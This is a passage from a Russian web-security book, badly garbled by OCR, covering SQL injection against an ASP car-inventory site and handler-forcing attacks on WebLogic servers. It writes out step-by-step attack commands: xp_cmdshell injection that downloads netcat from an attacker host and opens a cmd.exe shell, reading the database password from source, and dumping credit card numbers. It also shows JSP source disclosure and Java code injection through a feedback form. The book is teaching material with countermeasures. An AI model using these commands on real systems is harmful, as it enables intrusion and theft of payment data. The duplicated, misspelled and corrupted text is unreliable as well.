,H*“I〉・;<Nt t • I - ■•■сз“1 M*rnet f Mulnrw,H*“I〉・;<Nt t • I - ■•■сз“1 M*rnet f Mulnrw'1'144Automobile Inventory the following nfonnafi^n details the current Етег#о<у ofused cars and trucks on our lot.Automobile Inventory the following nfonnafi^n details the current Етег#о<у ofused cars and trucks on our lot.
,H*“I〉・;<Nt t • I - ■•■сз“1 M*rnet f Mulnrw
,H*“I〉・;<Nt t • I - ■•■сз“1 M*rnet f Mulnrw
'1
'1
4
4
Automobile Inventory the following nfonnafi^n details the current Етег#о<у ofused cars and trucks on our lot.
Automobile Inventory the following nfonnafi^n details the current Етег#о<у ofused cars and trucks on our lot.
Pue 11.4. Используя универсальное тождество SQL OR 1=1, можно получить все записи базы данных
Сработало! Джек получил перечень всех выставленных на продажу автомобилей. Он смог это сделать, воспользовавшись тем, что выражение 1=1 всегда является истиной, и добавив его в оператор SQL. Два завершающих дефиса являются оператором комментариев SQL. Поэтому все, что содержится после этих символов, игнорируется. Благодаря использованию такого приема удаляется вся последующая часть запроса.
Таким образом, Джек воспользовался следующим кодом ASP:
SQL-*SELECT * FROM inventory WHERE inventory IO* & Request.QueryStringC^ID*) Set RS = Conn. Execute (SQL)
А вот к чему будет преобразован этот фрагмент кода после передачи в запросе строки; OR 1=1:
SQL«*SBLECT * FROM inventory WHERE inventoryID=ID OR 1=1
В результате были получены все записи таблицы inventory, а не только запись с идентификатором 1 (рис. 11.5). Хотя Джеку понравилось то, что он сделал, ему было известно, что дальше в этом направлении двигаться некуда. Поэтому он попытался выполнить лучшую из атак, которая основывалась на использовании хранимой процедуры xp_cmdshell. Эта процедура позволяет выполнить любую команду из командной строки, а потому такое действие может быть выполнено любым зарегистрировавшимся пользователем базы данных (обычно администратор базы данных SQL использует имя sa). Поэтому он сразу же попытался разместить на удаленной системе утилиту
netcat (nc.exe). (Более подробная информация об этой утилите содержится в главе 15.) Позже утилита netcat позволит Джеку сделать все, что ему захочется.
Рис / / ; Вынужденное выполнение команд, переданных в строке URL
Прежде всего он попробовал загрузить утилиту пс.ехе с использованием следующего URL:
http://192.16В. 0. б/purchase. А£р?Юа2;120ЕХЕС^20вд8Ьег..хр_С1к1вЬе11Ч£1р1201120192.168.0.8I20GET1 20nc.exe!20с:\nc.exe1
Снова получилось! Джек подумал о том, что же это дает на самом деле? Хорошо, Web-сервер ответил нормально, как и должно было быть. После этого Джек перешел к следующему шагу, запустив утилиту пс.ехе на выполнение и открыв порт, к которому можно будет подключиться.
л^tp://192.168.0.€/purcha8e.asp?IDal;EXEC120oiaster..xp_cBd8helll20<cAnc.exe -n -L -p 2000 -e cad.exe* *—/
Если все пройдет успешно, то утилиту netcat можно будет использовать на компьютере Джека, чтобы подключиться к серверу базы данных и получить доступ к удаленной командной строке.
с:,пс 192.168.0.9 2000
Microsoft Windows 2000 [Version 5.00.2195]
(С) Copyright 1985-2000 Microsoft Corp.
c: \WINNT\systeio32>ipconf ig
ipconfig
Windows 2000 IP Configuration
Ethernet Adapter Local Area Connection:
Connection-specific DNS Suffix . : oc.cox.net
IP Address: 192.168.0.9
Subnet Mask 255.255.255.0
Default Gateway192.168.0.1
Трюк с утилитой netcat также оказался успешным. Теперь в качестве администратора системы Windows Джек мог делать все, что угодно. А ему требовалось лишь получить доступ к базе данных и завладеть настоящим сокровищем ——номерами кредитных карточек. Поэтому с использованием оболочки netcat Джек попытался найти
утилиту osql — наиболее удобное средство генерации SQL-запросов из командной строки. Однако ничего найти не удалось. Возможно, утилиту osql удалили после установки SQL-сервера. Тогда Джек решил самостоятельно загрузить эту утилиту на сервер базы данных и извлечь номера всех кредитных карточек, которые ему удастся найти.
Для достижения цели Джек сначала загрузил на сервер утилиту osql.exe, воспользовавшись тем же приемом, что и при загрузке nc.exe. Теперь, имея в своем распоряжении программу osql, нужно было найти ключ к разгадке — пароль к имени пользователя sa. Джеку было известно, что на большинстве Web-серверов IIS пароли хранятся в файле global.аза, поэтому он попытался найти этот файл в каталоге C:\INE7PUB\WWWR00T, однако его там не оказалось. Затем он вспомнил, что пароль должен содержаться в файле purchase.asp, поскольку в противном случае из него нельзя было бы обращаться к базе данных. Для поиска этого файла Джек воспользовался следующей командой:
С:\> dir purchase.asp Is dir purchase.asp /s
Volume in drive C has no label.
Volume Serial Nuirfcer is C456-EAF2
Directory of C:\Inetpub\veb
04/28/2002 06:29p671,】」;••,и
1 File(s)671 bytes
Итак, этот файл содержался в рабочем каталоге C:\inetpub\web основного Web- сервера. Теперь для поиска пароля учетной записи sa в файле purchase.asp необходимо было найти ключевое слово Connection String.
C:\Inetpub\web> findstr /i "connectionstring" purshase.asp
Session("CoanectionString" | »**Provider*SOLOLBDB• 1; dsn=localhost; uidra; pwd=password;
ASP=ASP Script; initial catalog^eb*
Conn.Open Session(^ConnectionStrlng")
С этого момента для инвентаризации базы данных можно спокойно использовать утилиту osql. ехе.
с:\> osql -U sa -Р password . "exec sp help*
c:\> osql -0 sa -P password -Q "exec sp tables"
C:\> osql -U sa -P password -Q “select * fron information зсЪепа.tables*
В конце концов Джеку удалось обнаружить нужную таблицу Accounts. Для получения главного приза достаточно было еще раз воспользоваться командой osql.
C:\Inetpub\veb> osql -d web -0 sa -P password -Q ”select firstname, lastname, creditcard,
expiration from accounts"
Firstname
lastname
creditcard
expiration
Stuart
McClure
4202401082819495
2002-11-01
00.00.00.000
Jim
Smith
1234657622158325
2003-03-01
00.00.00.000
Bob
Grouch
4252134873587395
2004-05-25
00.00.00.000
(3 rows affected)
Теперь Джек не сомневался, что на сегодня развлечений вполне достаточно.
Контрмеры.
Безопасность баз данных является одной из наиболее неразвитых областей информационных технологий. В дополнение к полной и испытанной временем политике защиты для устранения практически любого изъяна можно сформулировать несколько надежных контрмер.
Идите в Hoiy со временем, устанавливайте модули обновления. Как Microsoft, так и Oracle регулярно выпускают модули обновления. Убедитесь, что эти модули загружены и установлены сразу же после их появления. Перед установкой модулей всегда проверяйте их на тестовой системе.
Применяйте на брандмауэре строгие правила фильтрации. Эта контрмера достаточно очевидна. Однако периодически проверяйте правила фильтрации и блокируйте доступ к любым портам базы данных, таким, как TCP и UDP 1434 (MS SQL) и TCP 1521-1530 (Oracle).
Проверяйте входные данные. Как уже много раз упоминалось в этой книге, необходимо выполнять проверБсу входных данных, поступающих от пользователя. Должен быть проверен тип этих данных (числовой, строковый и т.д.), а также удалены все нежелательные символы, например метасимволы.
Удаляйте хранимые процедуры. Обязательно удалите все хранимые процедуры из всех баз данных, в том числе из главной. Эти внешне безобидные сценарии могут привести к взлому даже самой защищенной базы данных.
Использование хранимых процедур. Когда возможно, переводите часто используемые фрагменты SQL в хранимые процедуры. Это уменьшит код SQL, который содержится в ASP, и сократит атаки на проверку ввода запросов.
Шифрование сеанса. Если сервер баз данных установлен отдельно от Web- сервера, то передаваемые между ними данные необходимо шифровать, например с помощью протокола I PSec системы Windows 2000.
Минимальные привилегии. Обязательно предоставляйте минимальные привилегии, которых достаточно для выполнения поставленной задачи. Для доступа к файлам базы данных никогда не используйте имя 8a.
Резюме
В базах данных хранится чрезвычайно важная информация: имена покупателей, номера социального страхования, номера кредитных карточек и т.д. Вся эта информация является сердцем современного бизнеса. Идея обеспечения безопасности системы электронной коммерции с внутренней базой данных может показаться: сомнительной. Однако, проявляя бдительность и придерживаясь приведенных выше рекомендаций, можно хорошо защитить используемую базу данных.
ГЛАВА12
Java; удаленное выполнение команд
Изучение ошибок ——это не только лучшая профилактика, но и стимул к постижению истины,
Уолтер Липпманн (1889-1974), американский журналист
Введение
В начале своего развития Web-технологии были очень простыми и позволяли использовать лишь наиболее примитивные возможности протокола HTTP и языка HTML. Однако по мере роста потребностей в динамическом содержимом Web традиционные язики и протоколы Internet становились все менее эффективными. Начали развиваться новые технологии, призванные логически расширить HTTP и HTML. Первым событием в повышении динамичности содержимого Web стало появление CGI (Common Gateway Interface — интерфейс общего шлюза). Как уже упоминалось в главе 1, СС1-проп)аммы в основном разрабатываются на языках С, C++ и Perl. Именно они и стали предвестником того, что должно было появиться чуть позже.
Эволюция Web -приложений от статических и простых порталов до динамичных и красочных хранилищ информации открыла новые горизонты как для конечного пользователя, так и для взломщика. В то время практически все программы были плохо написаны и содержали изъяны даже в самых общих процедурах защиты, используемых в процессе получения и обработки пользовательских данных. В результате CGI- программы содержали многочисленные ошибки, которые можно было использовать для получения нсавторизованного доступа к файловой системе и базам данных. Иногда можно было получить даже интерактивный доступ к удаленной командной оболочке. Причинами наличия таких уязвимых мест были сценарии, в которых не выполнялась проверка входных данных и которые имели несовершенные механизмы аутентификации и слабую интеграцию с другими частями системы. Эволюция динамического содержимого представлена в табл. 12.1.
CGI-сценарии были не очень эффективны и с трудом поддавались масштабируемости. Каждый раз при выполнении CGl-сиенария или программы в системе создавался новый процесс. Для преодоления этих узких мест и создания новой, более защищенной архитектуры различные производители приступили к разработке новых технологий. Независимо друг от друга такие компании, как Microsoft, Allaire и Sun, предложили новые архитектуры, в которых учитывались современные требования к производительности и безопасности. Однако на каждой фазе эволюции архитектуры в ней появлялись новые недостатки.
Сервер IIS и технология ASP компании Microsoft оказались уязвимыми к атакам, связанным с переполнением буфера, получением исходного кода, просмотром каталогов и удаленным выполнением команд. Система ColdFusion от компании Allaire содержала архитектурные изъяны, которые привели к возможности реализации атак DoS и получения исходного кода. В других технологиях, разработанных, например, компанией Netscape, использовались так называемые надстройки. Эти модули позволяли добавлять новые функции и интегрировать их с Web-сервером. В этой архитектуре на Web-сервере можно было использовать различные язики сценариев, такие, как ASP, PHP и CFM (более полная информация об этих технологиях содержится в главе 1). С каждым из этих серверных ресурсов были связаны свои расширения, такие, как .asp, .php и .cfm. Если клиенты Web обращались к этим ресурсам, то их запросы обрабатывались дополнительными модулями. При этом для обмена информацией использовался протокол HTTP. Для облешения программирования дополнительные модули поддерживали специальные дескрипторы, которые можно было использовать в коде самой HTML-страницы.
В то время как появлялись и развивались новые технологии, например ASP, ColdFusion, PHP и т.д., компания Sun Microsystems решила расширить технологию Java и адаптировать ее для использования в Web. Так появились технологии, основанные на языке Java.
Таблица 12.1 Эволюция динамического содержимого
Этап Архитектура
Причина появления
0Простые НГГТР-серверы
1HTTP + ССЬпрограммы
Необходимость односторонней передачи содержимого
Появление интерфейса CGI обусловлено необходимостью поддержки динамического взаимодействия сервера и клиента. Каждая операция ввода-вывода порождает отдельный процесс
HTTP + простые языки
сценариев
HTTP + предварительно
откомпилированные программы
Синтаксический анализ и обработка сценариев для каждого клиентского запроса порождает новый процесс
Вместо порождения нового процесса на уровне операционной системы сервер с многопоточной архитектурой способен обрабатывать каждый клиентский запрос в отдельном потоке
Технологии, основанные на Java
По сравнению с традиционными серверными языками, Java предлагает два основных преимущества, которые вывели эту технологию далеко вперед. Во-первых, язык Java с самого начала является о бъектно - ориентир ованным и содержит богатый набор универсальных классов и методов. Во-вторых, Java является плотформонсзависимым. Это означает, что одна и та же программа может использоваться на любой платформе. Такая возможность существенно упрощает развертывание приложений практически на любой платформе, поддерживающей Java.
За последние несколько лет появились различные технологии Java, в том числе сервлеты Java, страницы JSP (Java Server Pages) и компоненты Java Beans. Ранее компания Sun представила собственный сервер Java Web Server, поддерживающий различные технологии Java. В настоящее время эта платформа стала весьма популярной на рынке серверов приложений. Позже появились другие реализации этого подхода, в частности сервер WebSphere от компании IBM, Web Logic от BEA и J Run от Allaire. По мере роста популярности этой платформы появлялось все больше серверов приложений Java. Наиболее известными из них являются Jserv и Tomcat, которые разработаны в рамках модели открытого кода и могут использоваться под управлением серверов Apache, iPlanet, Resin, Servetec, Enhydra и др.
Архитектура серверов приложений Java
Наименьшим строительным блоком серверов приложений Java является сервлет (servlet). Как показано на рис. 12.1, сервлеты размещаются на сервере и используют отдельный пул потоков. Сервлеты предварительно скомпилированы и имеют доступ ко всем внутренним ресурсам сервера. Каждый запрос к серверу приложений сервлет принимает в своем собственном потоке. Такая архитектура значительно повышает масштабируемость Web-приложений.
Как показано на рис. 12.2, на уровне ядра используется множество сервлетов, в том числе для работы с файлами, серверными страницами Java (JSP) и серверными включениями SSI (Server Side Includes). Они расширяются сервлетом HTTPaervlet, обеспечивающим возможность использования HTTP. Такие сервлеты, как FileServlet, предоставляют доступ к текстовым и HTML-файлам. Каждый запрос GET к обычному текстовому файлу обслуживается этим сервлетом в одном потоке, после чего файл передается клиенту. Любой запрос к файлам JSP обрабатывается загрузчиком сервлетов JSP, который поддерживается компилятором Java и библиотеками времени вьшолнения. Серверные страницы Java компилируются и конвертируются в повторно используемые классы.
I нм I JZZ^NПоток 2I нм I JZZ^NПоток 2I 鬼 4T I ^=2^Поток 3I 鬼 4T I ^=2^Поток 3Пул потоков сервлетаПул потоков сервлетаРис. 12. /. Простая многопоточная структура сервлетаРис. 12. /. Простая многопоточная структура сервлетаДоступ к ресурсам 81mlM• таким как файлы, серверные страниць! Java, компоненты доступа к базам данных, Java Beans иЫВДоступ к ресурсам 81mlM• таким как файлы, серверные страниць! Java, компоненты доступа к базам данных, Java Beans иЫВКлиентыHTTPКлиентыHTTPНастройкиWeb-cep®epaНастройкиWeb-cep®epaРис. 12.2. Архитектура сервера приложений JavaРис. 12.2. Архитектура сервера приложений Java
I нм I JZZ^N
Поток 2
I нм I JZZ^N
Поток 2
I 鬼 4T I ^=2^
Поток 3
I 鬼 4T I ^=2^
Поток 3
Пул потоков сервлета
Пул потоков сервлета
Рис. 12. /. Простая многопоточная структура сервлета
Рис. 12. /. Простая многопоточная структура сервлета
Доступ к ресурсам 81mlM• таким как файлы, серверные страниць! Java, компоненты доступа к базам данных, Java Beans иЫВ
Доступ к ресурсам 81mlM• таким как файлы, серверные страниць! Java, компоненты доступа к базам данных, Java Beans иЫВ
КлиентыHTTP
КлиентыHTTP
НастройкиWeb-cep®epa
НастройкиWeb-cep®epa
Рис. 12.2. Архитектура сервера приложений Java
Рис. 12.2. Архитектура сервера приложений Java
Атака на Java Web Server
Сизиф уже давно знал об этом, однако до сих пор никому ничего не рассказывал. А обнаружил он новую возможность выполнения команд на сервере Java Web Server. Изъян был связан не только с этим сервером, но и с сервером WebLogic компании ВЕА, одним из наиболее популярных и широко распространенных серверов Java.
Он нашел этот изъян уже два дня назад, но пока хранил это в тайне, надеясь совершить выгодный обмен со своим другом -хакером Будцой, который работал в операционной системе AIX компании IBM. Изъян был связан с удаленным переполнением буфера на finger-сервере системы AIX. Реализовав атаку с использованием этого изъяна, на сервере можно было удаленно выполнять любые команды. Сизиф знал, что
Будца работает именно над такой утилитой. Несколько месяцев назад Сизиф был обижен неизвестным взломщиком и теперь хотел вернуть долг. Его противник работал в системе AIX и хвастался тем, что никто не сможет взломать ее. Сизиф хотел поквитаться, и с помощью утилиты Будды он мог бы это осуществить.
(Сизиф зашел в чат, чтобы посмотреть, тан ли Будда]
<Сизиф> Будда, у тебя все готово?
<Буд^>Почти • Существует одна ороблема...
<Будда>Я долхен добиться безукоризненного выполнения команд...
<Будда>Дай мне парочку часов...
<Будда>Ты лучше подумай о том, чтобы дать мне взамен что-то хорошее!
<Сизи^>Можеяь на меня положиться!:)
Сизиф не сидел сложа руки. Следующие два часа были самыми длинными в его жизни. С помощью Будды он сможет окончательно отомстить своему врагу с псевдонимом 311t3 —— гуру системы AIX, которая до сих пор еще нс была взломана. Теперь Сизифу оставалось только ждать.
Будца был интересным типом. Около десяти лет он работал администратор ом системы AIX, а перед этим еще лет пять программировал на ассемблере. Так что ему было прекрасно известно, насколько полезной может оказаться утилита взлома. Однако он был мало знаком со средствами взлома в Web, а это именно то, с чем к нему пришел Сизиф. Будце было необходимо средство, позволяющее проникнуть на Web-узел электронной коммерции и извлечь максимальное количество номеров кредитных карточек. Будца предпочитал скрывать свои соединения с Internet. Он оставался незамеченным благодаря использованию фальшивых идентификаторов и краденых номеров кредитных карточек. Несколько недель назад Будца поделился с Сизифом своим удивлением по поводу огромного количества серверов Java Web Server, которые заполонили Internet. Зная о проблеме Сизифа, Будца предложил совершить взаимовыгодный обмен. Сделка вот-вот должна была состояться.
[Подключение к каналу IRC...j
<Будда>Сизиф, ты тут?
《Снзи^>Ца. Расскажи, какие у тебя новости.
<Будда>Да, есть. Получилось...:)
<Снзи|>ЗД0Р0В01 !Н11П!1!!1Ш!1!Н!Н11<Н!ШНШ!
<Сизиф>ПКРЕ11ПИ МНЕИ1Ш1НИШИИ1НИ
<Будда>Не спеши, давай сначала посмотрим на твой товар...
<Сизиф>Хорошо, хорошо.
<Сизиф>Вот.•.
[Сизиф отправил файл, в котором описывался способ удаленного выполнения команд на сервере WebLogic компании В£А...]
<Будда>Получил, сейчас я попробую...
[Прошло несколько минут)
<Будда>Прекрасно! Это действительно работает!
<Будда>Получи то, что я тебе обецап...
[Будда пересылает исходный и двоичный код для взлома службы finger системы AIX] <Сизиф>Получил. Ты классный парень, Будда. До встречи.
Сизиф и Будца получили то, что хотели. Теперь может начаться настоящий хаос.
Обнаружение изъянов на серверах приложений Java
Даже многопоточные серияетные модели серверов приложений Java имеют изъяны в подсистеме безопасности. Такие лидеры продаж, как Java Web Server от Sun, WebSphere от IBM, Web Logic от BEA и J run от Allaire, а также множество других cep-
веров страдают от изъянов, обнаруживаемых в их архитектуре и реализации. Архитектурные изъяны приводят к возможности реализации атак, направленных на получение исходного кода, генерацию условия отказа в обслуживании (DoS), удаленное выполнение произвольных команд, а также получение физических путей. Все эти атаки являются достаточно стандартными и простыми в реализации. Это и будет продемонстрировано ниже.
Пример: компания по продаже акций
Компания Acme Online Trading, Inc. занимается продажей акций через Internet наряду со многими другими компаниями, которые появились в дни расцвета электронной коммерции. Однажды руководство этой компании решило использовать платформу Windows NT компании Microsoft, базу данных SQL и сервер приложений.
При просмотре Web-узла компании Acme Online были обнаружены следующие URL:
http!//www.acmetradeonline.con/index・ btnl
http: / /www. acnetradeonlineхол/portfoliо.j sp
http I 〃vw. acmetredeonl ine. coo/banking. j sp
bttpi//vw.acmetradeon1Ine.co®/getquote.jap
http:/ /wv. acnetradeonline. com/ inveituent. html
http: / /www. acmetradeonline. com/ servl et s /1radeonl ine
http://www.acmetradeonline.coa/login.jsp
http: / /www. acmetradeonline. com/ feedback/ feedback.] sp
На основе этих ссылок можно попробовать идентифицировать технологии, используемые в Web - приложении компании Acme. Прежде всего бросается в глаза то, что практически все URL заканчиваются расширением «jsp. Это означает, что на этом узле интенсивно используются серверные страницы Java. Еще одно ценное предположение можно сделать на основе анализа следующего URL: http://www.acmetradeonline.com/servlets/tradeonline
Обратите внимание на то, что в этом пути содержится терм /servlets/. Это свидетельствует о применении сервлетов Java, которые запускаются с использованием загрузчика сервлетов. Загрузчик сервлетов определяет соответствие, указывающее Web- серверу на то, что нужно инстанцировать экземпляр ссрвилста, имя которого указано за ключевым словом. На разных серверах могут использоваться различные ключевые слова, однако обычно это servlet или servlets.
Теперь можно погрузиться чуть глубже и попробовать определить тип сервера приложения Java, используемого в Web - приложении. С помощью утилиты net с at на сервер можно передать запрос HEAD и попытаться определить тип сервера. Из полученного ответа ясно, что используется сервер Web Logic версии 5.1.0 компании ВЕА.
С :\> ncwww.acmetradeonline.com 80
HEAD / НТТР/1.0
HTTP/1.1 302 Moved Temporarily
Location: /index.html
Server: WebLogic 5.1.0 04/03/2000 17:13:23 ,66825
Content-Length: 217
Connection: Close
Это очень мощный сервер приложений Java, который подцерживает все основные технологии Java, в том числе сервлеты Java, серверные страницы Java, компоненты JavaBeans и JDBC. Недавно в архитектуре сервера WebLogic были обнаружены некоторые изъяны, которые будут рассмотрены ниже.
Сервлеты и обработчики WebLogic
Конфигурационный файл любого сервера Web -приложения играет чрезвычайно важную роль. Конфигурационные параметры сервера приложений WebLogic хранятся в файле weblogic. properties. В этом файле определены все конфигурационные параметры: ТСР-порт Web-сервера, пароль администратора, информация о параметрах обеспечения безопасности и интерфейсе с базой данных. Другие серверы приложений, такие, как WebSphere от IBM, Java Web Server от Sun и JRun от Allaire, используют собственные файлы конфигурации другого формата. Конфигурационные параметры некоторых серверов хранятся в XML-файле; параметры других серверов являются скрытыми и доступны только через специальный графический интерфейс.
Конфигурационный файл дает прекрасное представление о внутренней работе сервера приложений. Практически всеми серверами приложений Java используется несколько базовых сервлетов для доступа к файлам, обработки страниц JSP и серверных включений SSL Эти сервлеты уровня ядра составляют основу сервера приложений, с помощью которых можно обращаться к серверным ресурсам. Каждый передаваемый на сервер запрос обрабатывается соответствующим сернлетом в своем собственном потоке. Такая многопоточная, основанная на сервлетах архитектура делает серверы приложений Java легкомасштабируемыми и чрезвычайно эффективными. Серверы приложений Java могут использоваться также в качестве дополнительных модулей основного Web-сервера, например IIS, Apache или Netscape Enterprise Server. Конфигурационный файл позволяет связать сервлеты с различными типами ресурсов, подцерживаемых сервером приложений. Таким образом, запросы на страницы JSP обрабатываются сервлетом JSPServlet, запросы на получение простых HTML-файлов — сервлетом File Servlet и т.д. Такие сервлеты называются также обработчиками (handler) и делятся на обработчики файлов, обработчики страниц JSP, обработчики SSI и т.д. Например, при использовании URL http: / / www. acmetradeonline. com/prof lie. jsp будет запущен сервлет JSPServlet, поскольку клиентом запрашивается страница JSP.
Теперь попробуем разобраться, какие же ошибки могут возникать в сервере приложений Java. К появлению нового класса изъянов может привести некорректная реализация или настройка различных обработчиков.
Обработчики и загрузчики приложений
Прежде всего консультант по вопросам безопасности желает выяснить, что произойдет, если вызвать сервлет File Servlet и запросить страницу JSP или для получения простого HTML-файла обратиться к сервлету JSPServlet? Этот вопрос отражает идею подмены обработчика (handler forcing).
Для понимания механизма подмены обработчиков нужно знать, как сервлеты регистрируются и запускаются. Ответ можно найти в конфигурационном файле. Ниже приведена строка файла weblogic, properties, в которой регистрируется сервлет Snoop Servlet.
n >_■ Li logic. prop«rti ? s
veblogic ・ httpd. register. впоор-ехалфХез • servlets ・ SnoopServlet
Необходимо обратить внимание на два аспекта. В правой части приведенной директивы задается имя сервлета Snoop Servlet, который расположен в каталоге /вхажр1еа/servlets/. В левой части директивы указан псевдоним или короткое имя сервлета, используемое при его вызове. Другими словами, все, что указано после строки weblogic.httpd.register, отображается на конкретный сервлет, указанный в правой части. В рассматриваемом случае сервлету соответствует имя snoop. В следующем URL показано, как можно запустить сервлет SnoopServlet:
http://vwv. aanetrading. con/ snoop
На рис. 12.3 представлено содержимое окна броузера после запуска сервлета.
Вызов сервлета FileServlet
Однако при дальнейшем просмотре файла weblogic. properties можно обнаружить более интересную информацию. Сервлеты сервера приложений уровня ядра регистрируются точно так же, как и пользовательские сервлеты! В следующем фрагменте файла veblogic.properties показана строка регистрации сервлета FileServlet:
veblogic. properties
I регистрация файлового сервлета
,l
f Сервлет FileServlet ищет в каталоге docuatntXoot необходимый файл,
В а затем обрабатьшает его. Если запрашиваемый
f файл является каталогом, сервлет FileServlet добавит к
I пути файл defaultFllename и обработает его
veblogic. httpd. register. f ile^veblogic. servlet. FileServlet
В левой части последней строки указан псевдоним сервлета FileServlet (file), который в строке URL можно использовать для его запуска. Можно сформулировать следующий вопрос: нЧто произойдет, если в окне броузера ввести URL http://www. acmeonline.com/fLle?,, Сервлет FileServlet предназначен для обработки клиентских запросов на получение простых текстовых файлов. Однако, что произойдет, если попытаться использовать этот сервлет для получения файлов JSP? Скоро все станет ясно.
При вводе URL-адреса http://ww.acmetradeonline.caiiL/feedback/foedback. jap в окне броузера появится информация, показанная на рис. 12.4.
При обращении к странице Feedback.jsp на экране появится небольшая форма, предназначенная для отправки клиентских сообщений в компанию Acme Online Trading. Вспомним, что по умолчанию файлы JSP обслуживаются сервлетом JSPServlet. Теперь с помощью следующего адреса URL для обработки файла feedback.jsp можно попробовать воспользоваться сервлетом FileServlet:
http;//wv. acme tradeonline • coa/file/fMdback /feedback. jip
Результат применения обработчика с псевдонимом file к файлу JSP показан на рис. 12.5.
Рис. 124 Страница для ввода клиентских сообщений компании Acme Online Trading
Рис. 12.5. Получение исходного кода с помощью сервлета FileServlet
Что же произошло? В окне броузера появился исходный код файла feedback.jsp! Полученный результат иллюстрирует подмену обработчика, когда запрос на доступ к ресурсу передается другому обработчику. В рассматриваемом примере для обработки запроса на страницу JSP был вызван ссралст FileServlet. Что касается архитектуры, то вместо сервлета JSPServlet, предназначенного для обработки запросов на страницы JSP, был использован сервлет FileServlet, который передал обратно содержимое файла “как есть". Это значит, что без какой-либо дополнительной обработки был получен исходный код страницы feedback.jsp. Точно так же взломщик может просмотреть исходный код любого файла JSP.
Эта ошибка характерна не только для сервера WebLogic. Аналогичный архитектурный изъян были обнаружен и в сервере WebSphere компании IBM, а также в сервере Java Web Server компании Sun. Для запуска сервлета FileServlet сервером WebSphere используется псевдоним /servlet/file, а сервером Java Web Server — /servlet/com.sun. whatever. whatever. whatever. С учетом того, что на Web-узле компании Acme Online Trading установлен сервер WebLogic, исходный код страницы JSP можно получить с помощью следующего URL:
httpг//www.acneonline•сою/servlet/file/feedback.jsp
Вызов сервлета ServerSidelncludeServlet
Теперь рассмотрим случай подмены другого обработчика сервлетов сервера WebLogic. Начнем с того, что посмотрим на файл weblogic.properties под несколько другим углом зрения.
I регистрация сервлета Servers ide Include , if Сервлет SSI Servlet осуществляет поиск в каталоге $ docuventKoot заправвваемого файла . shtal i и вкполяяет его обработку.
weblogic, httpd. register.* • shtnl weblogic, servlet. ServerSidelnclude Servlet
В последней строке приведенного фрагмента псевдоним *. shtal соответствует имени Serve г Side Include Servlet. Это предоставляет еще один способ получения исходного кода страницы JSP. Для этого нужно воспользоваться следующим URL: http: //www. acnetr&deonliDe. com/ *. shtml / feedback/ feedback. j sp
И снова с использованием обработчика серверных сценариев в клиентском броузере можно получить исходный код страницы JSP. Сервлет SSI предназначен для обработки таких дескрипторов SSI, как include и ехес. Однако в данном случае он используется для обработки запроса на страницу JSP. Как видно из рис. 12.6, такая подмена позволяет получить не обработанный исходный код страницы feedback.jsp.
&с 12.6. Вызов сервлета SSI
Вызов сервлета JSPServlet и его использование для компиляции текстовых и HTML-файлов
Рассмотрим другой изъян, также связанный с подменой обработчика. В данном случае используется та же основная концепция, но при этом достигается совершенно другой эффект. Однако сейчас нужно проанализировать полученную ранее информацию. В исходном коде страницы feedback.jsp можно обнаружить некоторые интересные фрагменты.
01. <ht»l>
02. <body>
03. <К page import»* j ava. io. *w l>
04.。
止.FileWriter filename* new Filevriterl^./nyserver/public^htel/feedback/iuput.htel*! true); 06. String name 二 request.getParaneter("naBe^);
07. String feedback*requeflt.getParaneter(Mfeedback*);
08. String bs«*<br><br>Hane : *+nM®**<brxbr>Faedback : "Ueedback;
09. filenarne.write(^cbrxbr^+bi);
filename.closed;
»>
Из строки 05 видно, что клиентское сообщение записывается в файл input.html. Кроме того, абсолютно очевидно, что этот файл сохраняется в каталоге, где содержатся и все остальные файлы (. /вуserver/public_html/feedback/input.htBl). Страница feedback .jsp просто добавляет в файл input.html дополнительные записи. Теперь посмотрим на сам файл http: / / www. acmetradeonline. сот/feedback/input. html (рис. 12.7).
Рис. 12.7. Просмотр скрытой страницы input.html
Обычно страница input.html не связана ни с одной главной страницей. Так что, не зная ее имени, можно вообще никогда не узнать о ее существовании. Вспомним, что эту страницу удалось получить благодаря подмене обработчика. Воспользовавшись приведенным выше URL, можно просмотреть все сообщения клиентов компании Acme Online Trading. Возможность чтения скрытых сообщений не так важна. Гораздо интереснее тот факт, что с использованием формы feedback.jsp в файл на сервере компании можно записать собственные данные.
Эту находку можно объединить с другой важной информацией, содержащейся в файле weblogic.properties.
* ttt # tftItf # 1 ttttftff I Ittt i
I СВОЙСТВА WEBLOGIC JSP
Задает режим автоматической комлиляция страниц JSP.
,Измените исходам! каталоги
и для использования удалите символа комментариев.
. weblogic. httpd.regie tar. *.j sp=\
veblogic.servlet.JSPServlet
.weblogic, httpd. initArgs. *. j sp=\
pageCheckSeconds«l, \
coepi 1 eCoonand*c s/jdkl. 2/bin/ javac • exe r\ vorkingDir^dt/veblogic/myserver/classflles,\ verbose=true
Обратите внимание, что сервлет JSPServlet зарегистрирован с псевдонимом “jsp. Значит, его можно вызвать напрямую, указав в адресе URL строку *. jsp.
http: //wv. acneonlinetrade. сов/ ♦ • “р/
Теперь вернемся к вопросу, который был сформулирован выше: пЧто произойдет, если вызвать обработчик JSPServlet и передать ему обычный HTML- или ASCII- файл?". Можно попробовать найти ответ и на другой вопрос: "Вудет ли сервер приложений компилировать этот файл, а затем передавать результаты выполнения полученного байт-кода, если в нем будет содержаться код Java?**. Для получения ответов на эти вопросы существует единственный способ — попробовать!
Прежде чем "применить” обработчик JSPServlet к файлу input.html, в этом файле нужно разместить свои "данные”, представляющие собой код Java, а не обычный текст. На рис. 12.8 показан простой оператор печати на Java, размещаемый в файле input.html.
Рис, /2 А Ввод 6 поле формы кода на языке JavaРис, /2 А Ввод 6 поле формы кода на языке Java
Рис, /2 А Ввод 6 поле формы кода на языке Java
Рис, /2 А Ввод 6 поле формы кода на языке Java
На рис. 12.9 показано содержимое страницы input.html.
Рис. 12 丿 Содержимое файла input.htmlРис. 12 丿 Содержимое файла input.html
Рис. 12 丿 Содержимое файла input.html
Рис. 12 丿 Содержимое файла input.html
В сообщении, размещенном в файле input.html, содержится исходный код на языке Java. Теперь для обработки файла input.html можно вызвать обработчик JSPServlet. В соответствии с используемой архитектурой сервлет JSPServlet предназначен для обработки кода JSP и, следовательно, должен интерпретировать содержимое файла input.html как дескрипторы JSP, которые нужно скомпилировать и выполнить. Этот прием можно реализовать с помощью следующего URL:
http: //ww ・ acmetradeonline. con/*. jsp/.. /feedback/input. html
Такой запрос сообщает серверу WebLogic о том, что для компиляции и выполнения файла / . ./feedback/input.html необходимо запустить сервлет JSPServlet.
